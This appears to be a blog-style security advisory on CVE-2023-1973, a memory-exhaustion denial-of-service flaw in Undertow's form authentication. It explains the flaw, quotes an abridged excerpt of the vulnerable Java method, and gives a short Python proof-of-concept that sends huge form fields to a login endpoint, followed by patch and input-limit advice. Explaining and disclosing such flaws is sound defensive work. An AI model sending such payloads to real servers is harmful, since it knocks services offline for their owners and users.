CVE-2023-1973: Critical Vulnerability in Undertow Package – FormAuthenticationMechanism Denial of Service Exploit

A critical flaw identified as CVE-2023-1973 has been discovered in the Undertow package, which could potentially lead to Denial of Service (DoS) attacks. The flaw targets the FormAuthenticationMechanism, causing the server to crash due to running out of memory. This post will provide an overview of the vulnerability, along with code snippets, links to original references, and exploit details in simple American English.

Details

The Undertow package is a popular, lightweight, flexible web server used in many applications for its high performance and low resource consumption. Though considered efficient, it was recently found to have a serious vulnerability, specifically in the FormAuthenticationMechanism (FAM) component. A malicious user could exploit this flaw by sending carefully crafted HTTP requests, causing the server to enter a Denial of Service state as it exhausts the memory available to the application, finally leading to an OutofMemory error.

Exploit

Let's explore how this exploit can be triggered through a code snippet that demonstrates the vulnerability. In the FormAuthenticationMechanism, the following method is called:

public AuthenticationMechanismOutcome authenticate(HttpServerExchange exchange, SecurityContext securityContext) {
    // ... (process request headers, etc.)
    
    boolean authRequired = true;
    if (exchange.getRequestMethod().equals(Methods.POST)) {
        final FormDataParser parser = formParserFactory.createParser(exchange);
        if (parser != null) {
            try {
                FormData data = parser.parseBlocking();
                // ... (parse FormData, etc.)
            } catch (IOException e) {
                // ... (handle exceptions, etc.)
            }
        }
    }
    
    // ... (remaining FAM logic, etc.)
}

The method attempts to parse the FormData within the HTTP request. In case a malicious user sends an exceedingly large request, the server will attempt to parse all the data, ultimately causing it to run out of memory.

Proof of Concept (PoC)

A potential proof of concept to provoke this exploit can be performed using a simple Python script or a tool like curl:

import requests

url = "https://vulnerable.undertow.server/login";
large_string = "A" * 100000000  # Large string to consume memory
payload = {"username": large_string, "password": large_string}

# Send an HTTP POST request with the large payload
response = requests.post(url, data=payload)

This script sends an HTTP POST request with a large payload to the target server, causing it to run out of memory and crash.

Mitigation

The issue has been addressed, and a patch is available for affected users. Please update your Undertow package to the latest version to avoid being vulnerable to this exploit. Additionally, consider implementing input validation checks to prevent excessively large FormData from being processed by your server.

Original References

- CVE-2023-1973 vulnerability details
- Undertow GitHub repository
- FormAuthenticationMechanism source code

Conclusion

Understanding and mitigating the CVE-2023-1973 vulnerability in Undertow's FormAuthenticationMechanism is crucial to maintaining the security and stability of your web applications. Update your Undertow package and follow the recommended mitigation steps to protect your server from potential Denial of Service attacks. Stay informed and be vigilant.

Timeline

Published on: 11/07/2024 10:15:05 UTC
Last modified on: 11/08/2024 19:01:03 UTC